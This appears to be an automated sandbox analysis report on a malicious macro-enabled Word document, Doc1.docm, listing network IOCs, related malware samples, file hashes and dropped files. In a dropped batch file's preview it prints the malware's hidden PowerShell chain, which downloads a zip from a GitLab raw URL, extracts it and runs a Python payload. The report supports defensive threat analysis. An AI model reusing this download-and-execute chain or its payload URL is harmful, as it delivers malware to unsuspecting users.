Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Doc1.docm
Detection:	MAL
Classification:	mal100.troj.expl.evad.winDOCM@19/2986@3/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 39 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .docm Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
104.26.12.205	Zoom_workspace.hta	Get hash	malicious	Cobalt Strike, Clipboard Hijacker	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.Evo-gen.28044.10443.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	vstdlib_s64.dll.dll	Get hash	malicious	Quasar	Browse	api.ipify.org/
	6OiUEubyA8.msi	Get hash	malicious	Quasar	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RansomX-gen.22171.1307.exe	Get hash	malicious	Conti, PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	482730621.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	482730621.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
34.117.59.81	DevolucionImpuestoJulioTGR.cmd_BQVDQNuQQAGG.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	mek_n_bat.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	z30PO1028930.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse	ipinfo.io/ip
	SecuriteInfo.com.Win32.KeyloggerX-gen.20370.1036.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	SecuriteInfo.com.Win32.KeyloggerX-gen.20370.1036.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	IP-Grabber.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	BadUsb.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	ZmYfQBiw.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
	jmdCh1Z3.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	check.bat	Get hash	malicious	Python Stealer	Browse	172.65.251.78
	66b09d7d34310_DefragManager.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	66b09d7d34310_DefragManager.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	172.65.251.78
	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	172.65.251.78
	design-kitchen-of-villa-d25.bat	Get hash	malicious	Braodo	Browse	172.65.251.78
	HealthInde.bat	Get hash	malicious	Unknown	Browse	172.65.251.78
	update23.bat	Get hash	malicious	Braodo	Browse	172.65.251.78
	https://gitlab.com/mydocuments3/cv/-/raw/main/curriculum-vitae.vbs?inline=false	Get hash	malicious	Unknown	Browse	172.65.251.78
	https://gitlab.com/mydocuments3/cv/-/raw/main/curriculum-vitae.vbs?inline=false	Get hash	malicious	Unknown	Browse	172.65.251.78
ipinfo.io	https://monnero.shop/	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	idman642build18Full.exe	Get hash	malicious	Fredy Stealer	Browse	34.117.59.81
	idman642build18Full.exe	Get hash	malicious	Fredy Stealer	Browse	34.117.59.81
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	34.117.59.81
	5zFCjSBLvw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	34.117.59.81
	DevolucionImpuestoJulioTGR.cmd_BQVDQNuQQAGG.cmd	Get hash	malicious	Unknown	Browse	34.117.59.81
	IObit Advanced System Care Pro.exe	Get hash	malicious	Fredy Stealer	Browse	34.117.59.81
	IObit Advanced System Care Pro.exe	Get hash	malicious	Fredy Stealer	Browse	34.117.59.81
	kuEOcALASY.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	MmKITUl823.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
api.ipify.org	https://www.canva.com/design/DAGN0YqIP_w/QCg9OTXexkZTBQrF9lqJLA/view?utm_content=DAGN0YqIP_w&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	172.67.74.152
	HAN HAI 106 SHIP'S PARTICULARS.xlsx.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SHENG XING HAI VC112 - VSL's DETAILS.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Shipping Documents.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	bank details.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	http://pub-fc8b0b1383ea4606af992d0e7ffe6e9a.r2.dev/auth_gen.html	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://pariscope.com.au/robots.html?colors=YmxhbmdlQGplZmZwYXJpc2gubmV0	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.74.152
	IMPORT PO2024-0961 ASTG.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	maarten_theunissen PYMTADV Iamgold.docx	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.12.205
	NEW ORDER 14AUG2024 PDF.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	YENB0G9CNCEL.bat	Get hash	malicious	AsyncRAT, DcRat	Browse	172.65.251.78
	Eksik#U0130slemBildirimi.bat	Get hash	malicious	Unknown	Browse	172.65.251.78
	Turkiye_Sigorta_Komisyon_Odemesi_Hatalar#U0131.bat	Get hash	malicious	Unknown	Browse	172.65.251.78
	Eksik#U0130slemBildirimi (2).bat	Get hash	malicious	Unknown	Browse	172.65.251.78
	WhatsApp_Image_2024_05-01_DCiM.jpeg.lnk	Get hash	malicious	Unknown	Browse	172.65.251.78
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	SecuriteInfo.com.Trojan.Crypt.28917.30010.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	Comprovativo_Julho_sa_12-07-2024_38.vbs	Get hash	malicious	Unknown	Browse	172.65.251.78
	XdYKQ6DMdP.exe	Get hash	malicious	DBatLoader, TVrat	Browse	172.65.251.78
3b5074b1b5d032e5620f69f9f700ff0e	check.bat	Get hash	malicious	Python Stealer	Browse	172.65.251.78
	SecuriteInfo.com.Win32.Malware-gen.13940.31711.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.65.251.78
	INVOICE12301201-32013012030123.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	INVOICE12301201-32013012030123.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	SecuriteInfo.com.Win32.CrypterX-gen.8051.30493.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.65.251.78
	HAN HAI 106 SHIP'S PARTICULARS.xlsx.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.65.251.78
	SHENG XING HAI VC112 - VSL's DETAILS.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.65.251.78
	file.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	PO COPE-24-PO-0250.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.65.251.78
	Shipping Documents.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.65.251.78

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60648
Entropy (8bit):	5.981887941065825
Encrypted:	false
SSDEEP:	768:NCEGDxmtgpeS5l4O7YZUWqJ5ZHWRgE9IaZIAYnc7DG4ythE:N1GDxUg7YTLRgEeaZIAYnctys
MD5:	6C2A86342ADE2FAC9454B83A49D17694
SHA1:	52946875AD946E4A170072F38E28E10F6037FAB9
SHA-256:	CF0EDFD508D11BFFB63D1B104B6099E0F14EA0FADA762F88364E7163F2185F06
SHA-512:	48D8EB8D20D041DF37C4A6F243056607754046ED5F497260751270B42E9EEA6F22FB1FB62D015E841D0263534F50BF6C812A6ADE0E8BB0A0F79226BC64D05C75
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: check.bat, Detection: malicious, Browse Filename: 83MZfLKh7D.exe, Detection: malicious, Browse Filename: TWlznBtQLz.exe, Detection: malicious, Browse Filename: 8Mgx5RP6Wc.exe, Detection: malicious, Browse Filename: Chrome.exe, Detection: malicious, Browse Filename: 1.bat, Detection: malicious, Browse Filename: ICLOUDSTEALER.exe, Detection: malicious, Browse Filename: Oxzy.exe, Detection: malicious, Browse Filename: 6Passwords.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Variant.Tedy.216835.24786.9433.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........!..}O..}O..}O......}O..N..}O..J..}O..K..}O..L..}O.s.N..}O...N..}O..}N.@}O.s.B..}O.s.O..}O.s....}O.s.M..}O.Rich.}O.........PE..d....O[a.........." .....R...........................................................e....`.............................................P...P...d................................... v..T............................v..8............p...............................text....Q.......R.................. ..`.rdata...I...p...J...V..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

Process:	C:\Users\Public\python.exe
File Type:	data
Category:	dropped
Size (bytes):	4133
Entropy (8bit):	5.353483087722466
Encrypted:	false
SSDEEP:	96:fgdNzUuGd+P2sKNUWqom2jN+QlnZPELBG0uY:24BRRqomkVZG00uY
MD5:	5A4CA6FC3C1E9E628C50F9A827ADD457
SHA1:	635479228C16F5C3A7D03690698B9FCD0C1D8318
SHA-256:	C910A7D20273ADC683039F8103012EFAC199B8DD321B66B18081EAAFCCB6261C
SHA-512:	1330C8B5701FD6BEC810CE809780D2E9530AB45339930C8F73D04262929D7F1036F5851FBFDF44E20025B16AA25444336B05692153F4A559105E80E748C96D43
Malicious:	false
Preview:	o.......D.[a.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	637
Entropy (8bit):	5.203763864954935
Encrypted:	false
SSDEEP:	12:sngkWAN2im6KtovmiXEQjbMpdkb/I9ngkpFAgAa4fPbcfOI9ngkzmy+fSn:iRtz7b4dkbiRp7MbGRzNn
MD5:	2B57C447F3B38CDA11C4D6F1EA4895AE
SHA1:	F744ACB89E028BCE06361C7A96F290F60E6B3A13
SHA-256:	8AA96C08698B01B78B5ABD4CE6B2AD3D6B817BEEB65CC5385D3D8A0F4D06B0F2
SHA-512:	A4AA57AB1C813C67B5AA041C143319418539A9CF33B0A617C43854BBEAC824EA1418E3F98A28F8940CB4D4AAE590EFEC28A8EB21DC66DDEC84A1E5BFFAE143E5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Roaming\Pun.bat, Author: Joe Security
Preview:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')"..powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public')"..powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\python.exe C:\Users\Public\windows.py"..cmd /c del C:\Users\Public\windows.py..powerhsell

File type:	Microsoft Word 2007+
Entropy (8bit):	7.378393035492255
TrID:	Word Microsoft Office Open XML Format document with Macro (52004/1) 37.96% Word Microsoft Office Open XML Format document (49504/1) 36.13% Word Microsoft Office Open XML Format document (27504/1) 20.07% ZIP compressed archive (8000/1) 5.84%
File name:	Doc1.docm
File size:	16'226 bytes
MD5:	0fee354732496cdbdb4e78ecb218a81a
SHA1:	94e8d66e627a9b5bd957db8b7ec50789228212d6
SHA256:	5b168fed855515940cfe164b18fd5f9d73873902d01f04171de65bc34487f402
SHA512:	da6a0e484004aaa500769bd0b55a52a87045adc3006221044acd1b051bd10f4a7c46dd6b1f90e7a373d64c27e57691215fcc4a13b6aa189fb03c0b3e86a7cf31
SSDEEP:	384:/i+torrZIlr3yAx6Nxt/ZtNNhtZp+30OnnLlWNB://oP0wxllNjn+3BL8B
TLSH:	9172AE39C6097464C46686BF988F56F9F6980046A321962F1E10FBDECF104930F27E99
File Content Preview:	PK..........!.~8.z............[Content_Types].xml ...(.........................................................................................................................................................................................................